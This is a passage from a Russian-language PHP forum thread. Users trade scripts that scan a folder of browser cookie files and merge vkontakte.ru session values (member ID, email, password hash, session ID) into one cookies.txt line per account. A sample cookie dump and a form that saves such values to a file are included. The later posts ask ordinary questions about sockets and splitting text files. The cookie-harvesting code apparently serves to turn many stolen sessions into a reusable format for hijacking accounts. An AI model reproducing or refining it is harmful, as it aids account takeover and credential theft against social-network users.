fwrite($w, "\n");//конец строки... мб не правильно написал..
}
fclose($w);//закрыли записаный файл
}
если не так - пиши в ЛС. Если так то мне ++ )))
shpak1
<?php
$dir = 'cookies';
$cfile = 'cookies.txt';
$f = fopen($cfile,'w');
foreach(glob($dir.'/*.*') as $fname) {
$con = file_get_contents($fname);
preg_match_all('/\d+\.\s+(.*)\s+(.*)/',$con,$m);
for($i=0,$buf='';$i<count($m);$i++) {
$buf .= trim($m[1][$i]).'='.trim($m[2][$i]).';';
}
fputs($f,$buf."\n");
fflush($f);
}
fclose($f);
?>
To mixkorshun, [dei]:
Спасибо за скриптики огромное) ++ кинул обоим)
Можете по подробнее расписать)) Я частично понимаю что куда вставлять, но не могу понять где прописывать строчки и таму подобное) Нуб немного в php коде)
Пример поточнее:
У меня файлы в папке из которых надо сделать выборку имеют такое построение:
1
aaaa
5
xxxxx
2
bbbb
6
xxxxx
3
cccc
10
xxxxxxx
4
dddd
9
xxxxxxx
Нужно брать эти 4 строчки и вписывать в один файлик, но эти строчки находятся под индификаторами 1,2,3,4 которые в свою очередь расскиданы в разных строчках(те в одном куке он может быть на 8ой строке, а в другом на 21ой строке), что то вроде поиска по файлу.
---------------------------------------------------
Заупстил 1ый скрипт, выдал ошибку:
Parse error: syntax error, unexpected T_STRING in Z:\home\localhost\www\vib1.php on line 4
Заупстил 2ой скрипт, выдал ошибку:
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in Z:\home\localhost\www\vib.php on line 3
Parse error: syntax error, unexpected T_LNUMBER in Z:\home\localhost\www\vib.php on line 3
В обоих скритпах задал путь к папке \2\ и во втором скрипте путь к куки файлу \2\cookie.txt
А может есть какая-либо программка под Винду?)
...не верю что пока не написали такую прогу, в которой можно задавать какие строки с какими индификаторами копировать)
-------------------------------------------
Как вариант кода:
Можно все файлы объединить в один txt через разделитель и просто скриптом пройтись по нему чтобы вытакскивал нужные выражения под определенными индификаторами в один файл)
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>
<body>
<?php
$remixmid = $_POST['remixmid'];
$remixemail = $_POST['remixemail'];
$remixpass = $_POST['remixpass'];
$remixsid = $_POST['remixsid'];
$text .= "remixlang=0; ";
$text .= "remixmid=$remixmid; ";
$text .= "remixemail=$remixemail; ";
$text .= "remixpass=$remixpass; ";
$text .= "remixsid=$remixsid; ";
$text .= "remixchk=5; \n";
if (!empty($remixmid) && !empty($remixemail) && !empty($remixpass) && !empty($remixsid))
{
$file = fopen ('cookies.txt', 'a+');
fwrite ($file,$text);
fclose ($file);
}
?>
<form remixsid="form1" method="post" action="1.php">
<label for="textfield"></label>
<table border="0" cellspacing="0" cellpadding="0">
<tr>
<td><label for="textfield">Remixmid</label></td>
<td><input type="text" name="remixmid" id="remixmid"></td>
</tr>
<tr>
<td>Remixemail</td>
<td><input type="text" name="remixemail" id="remixemail"></td>
</tr>
<tr>
<td>Remixpass</td>
<td><input type="text" name="remixpass" id="remixpass"></td>
</tr>
<tr>
<td>Remixsid</td>
<td><input type="text" name="remixsid" id="remixsid"></td>
</tr>
</table>
<p>
<label for="Submit"></label>
<input type="submit" remixsid="Submit" value="Сохранить" id="Submit">
</p>
</form>
</body>
</html>
Нашел и немного доработал под себя код для того чтобы записывать в txt файл по определенному алгоритму)
А вот как сканировать папку файлов я так и не узнал...
Вся проблема в том, что нужная информация в каждом файле храниться строчкой ниже индификатора. И нужных строчек в одном файле всего 4... :confused: :confused: :confused:
Даю пример кука))
remixlang
0
vkontakte.ru/
1536
737300864
30036916
3707080464
29963691
*
remixchk
5
vkontakte.ru/
1536
957300864
30036916
3933800464
29963691
*
remixmid
99999999
vkontakte.ru/
1536
967300864
30036916
3933800464
29963691
*
remixemail
pppp%40ppp.ru
vkontakte.ru/
1536
967300864
30036916
3933800464
29963691
*
remixpass
cc09adcd52b200132101af80ec454790
vkontakte.ru/
1536
967300864
30036916
3933800464
29963691
*
remixsid
fe69782ebf555a710a0c6873782f765636732dddcb4fb60068 ffc055
vkontakte.ru/
1536
967300864
30036916
3933800464
29963691
*
remixclosed_tabs
0
vkontakte.ru/
1600
3093963776
30055619
334942800
29983200
*
Gray_Wolf
18.03.2009, 05:04
А вот как сканировать папку файлов я так и не узнал...
system('ls') - в линуксе
system('dir') - в винде
Вся проблема в том, что нужная информация в каждом файле храниться строчкой ниже индификатора. И нужных строчек в одном файле всего 4...
Читайте про регулярные выражения.
Да и вообще вот это почитайте:
http://www.php.ru/manual/ref.filesystem.html
Изучил...Да, сами функции понимаю...Но нет опыта для того чтобы все собрать в один скрипт((
system('ls') - в линуксе
system('dir') - в винде
scandir() в php 5.
<?
$fn=fsockopen("www.google.ru",80,$ecode,$emsg,1000);
if (!$fn) {
echo "$emsg ($ecode)";}
else { echo "Connected!"; }
?>
PHP 5.2.9
пишет
Unable to find the socket transport "http" - did you forget to enable it when you configured PHP? (0)
-=Static=-
18.03.2009, 12:22
<?
$fn=fsockopen("www.google.ru",80,$ecode,$emsg,1000);
if (!$fn) {
echo "$emsg ($ecode)";}
else { echo "Connected!"; }
?>
PHP 5.2.9
пишет
У меня 5.2.4 - все в порядке. А вообще судя по ошибке у тя криво в php.ini настроенно. Попробуй cURL поюзать.
+ http://php.net/manual/en/transports.php
real_kas
18.03.2009, 13:59
Товарищи, подскажите пожалуйста.
Есть файл, в нем находятся строки вида:
Заголовок
текст текст текст текст
текст текст текст текст
текст текст текст текст
текст текст текст текст
текст текст текст текст
Заголовок
текст текст текст текст
текст текст текст текст
текст текст текст текст
текст текст текст текст
текст текст текст текст
Заголовок
текст текст текст текст
текст текст текст текст
текст текст текст текст
текст текст текст текст
текст текст текст текст
Каким кодом пропарсить файл, и вывести все содержимое в отдельные страницы типа 001.txt, 002.txt, и тд.
Заранее благодарен!
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot